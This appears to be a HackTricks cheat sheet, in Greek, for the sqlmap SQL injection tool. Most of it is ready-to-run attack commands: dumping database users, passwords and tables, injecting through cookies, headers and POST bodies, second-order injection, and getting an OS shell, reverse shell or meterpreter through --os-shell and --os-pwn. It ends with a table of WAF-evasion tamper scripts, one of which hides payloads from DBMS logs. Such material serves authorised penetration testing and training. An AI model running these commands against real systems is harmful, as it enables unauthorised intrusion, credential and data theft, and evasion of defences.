SQLMap

Reading time: 8 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικά επιχειρήματα για το SQLmap

Γενικά

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Technique flags (--technique)

Το επιχείρημα --technique καθορίζει ποιες μεθόδους SQL injection θα προσπαθήσει να χρησιμοποιήσει το sqlmap. Κάθε χαρακτήρας στη συμβολοσειρά αντιπροσωπεύει μια τεχνική:

LetterTechniqueDescription
BBoolean-based blindΧρησιμοποιεί συνθήκες true/false για να συμπεράνει δεδομένα
EError-basedΕκμεταλλεύεται λεπτομερή μηνύματα σφάλματος DBMS για να εξάγει αποτελέσματα
UUNION queryΕισάγει δηλώσεις UNION SELECT για να ανακτήσει δεδομένα μέσω του ίδιου καναλιού
SStacked queriesΠροσθέτει επιπλέον δηλώσεις χωρισμένες με ;
TTime-based blindΒασίζεται σε καθυστερήσεις (SLEEP, WAITFOR) για να ανιχνεύσει την εισαγωγή
QInline / out-of-bandΧρησιμοποιεί συναρτήσεις όπως LOAD_FILE() ή OOB κανάλια όπως το DNS

Η προεπιλεγμένη σειρά είναι BEUSTQ. Μπορείτε να τις αναδιοργανώσετε ή να τις περιορίσετε, π.χ. μόνο Boolean και Time-based σε αυτή τη σειρά:

bash
sqlmap -u "http://target/?id=1" --technique="BT" --batch

Ανάκτηση Πληροφοριών

Εσωτερικό

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

Δεδομένα DB

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

Από την καταγραφή Burp/ZAP

Καταγράψτε το αίτημα και δημιουργήστε ένα αρχείο req.txt

bash
sqlmap -r req.txt --current-user

GET Request Injection

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Εισαγωγή Αιτήματος POST

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

Εισαγωγές σε Κεφαλίδες και άλλες Μεθόδους HTTP

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Δευτερογενής έγχυση

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Κέλυφος

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Σάρωση μιας ιστοσελίδας με SQLmap και αυτόματη εκμετάλλευση

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Προσαρμογή Εισαγωγής

Ορίστε ένα επίθημα

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Πρόθεμα

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Βοήθεια για την εύρεση boolean injection

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperΠεριγραφή
apostrophemask.pyΑντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8
apostrophenullencode.pyΑντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode
appendnullbyte.pyΠροσθέτει κωδικοποιημένο χαρακτήρα NULL στο τέλος του payload
base64encode.pyΚωδικοποιεί όλα τα χαρακτήρες σε ένα δεδομένο payload σε Base64
between.pyΑντικαθιστά τον τελεστή μεγαλύτερο από ('>') με 'NOT BETWEEN 0 AND #'
bluecoat.pyΑντικαθιστά τον χαρακτήρα κενό μετά από δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE
chardoubleencode.pyΔιπλά κωδικοποιεί όλα τα χαρακτήρες σε ένα δεδομένο payload (δεν επεξεργάζεται ήδη κωδικοποιημένα)
commalesslimit.pyΑντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M'
commalessmid.pyΑντικαθιστά περιπτώσεις όπως 'MID(A, B, C)' με 'MID(A FROM B FOR C)'
concat2concatws.pyΑντικαθιστά περιπτώσεις όπως 'CONCAT(A, B)' με 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.pyΚωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload (δεν επεξεργάζεται ήδη κωδικοποιημένα)
charunicodeencode.pyΚωδικοποιεί URL χαρακτήρες μη κωδικοποιημένους σε ένα δεδομένο payload (δεν επεξεργάζεται ήδη κωδικοποιημένα). "%u0022"
charunicodeescape.pyΚωδικοποιεί URL χαρακτήρες μη κωδικοποιημένους σε ένα δεδομένο payload (δεν επεξεργάζεται ήδη κωδικοποιημένα). "\u0022"
equaltolike.pyΑντικαθιστά όλες τις εμφανίσεις του τελεστή ίσο ('=') με τον τελεστή 'LIKE'
escapequotes.pyΔιαφεύγει τις αποστροφές (' και ")
greatest.pyΑντικαθιστά τον τελεστή μεγαλύτερο από ('>') με τον αντίστοιχο 'GREATEST'
halfversionedmorekeywords.pyΠροσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί
ifnull2ifisnull.pyΑντικαθιστά περιπτώσεις όπως 'IFNULL(A, B)' με 'IF(ISNULL(A), B, A)'
modsecurityversioned.pyΠεριβάλλει την πλήρη ερώτηση με σχολιασμό με έκδοση
modsecurityzeroversioned.pyΠεριβάλλει την πλήρη ερώτηση με σχολιασμό μηδενικής έκδοσης
multiplespaces.pyΠροσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL
nonrecursivereplacement.pyΑντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση (π.χ. .replace("SELECT", "")) φίλτρα
percentage.pyΠροσθέτει ένα ποσοστό ('%') μπροστά από κάθε χαρακτήρα
overlongutf8.pyΜετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload (δεν επεξεργάζεται ήδη κωδικοποιημένα)
randomcase.pyΑντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή κεφαλαίου
randomcomments.pyΠροσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL
securesphere.pyΠροσθέτει ειδικά κατασκευασμένο string
sp_password.pyΠροσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS
space2comment.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με σχόλια
space2dash.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n')
space2hash.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n')
space2morehash.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n')
space2mssqlblank.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων
space2mssqlhash.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια νέα γραμμή ('\n')
space2mysqlblank.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων
space2mysqldash.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια νέα γραμμή ('\n')
space2plus.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με το σύμβολο συν ('+')
space2randomblank.pyΑντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων
symboliclogical.pyΑντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& και
unionalltounion.pyΑντικαθιστά UNION ALL SELECT με UNION SELECT
unmagicquotes.pyΑντικαθιστά τον χαρακτήρα απόστροφου (') με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει)
uppercase.pyΑντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με κεφαλαίο χαρακτήρα 'INSERT'
varnish.pyΠροσθέτει μια HTTP κεφαλίδα 'X-originating-IP'
versionedkeywords.pyΠεριβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση
versionedmorekeywords.pyΠεριβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση
xforwardedfor.pyΠροσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For'

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks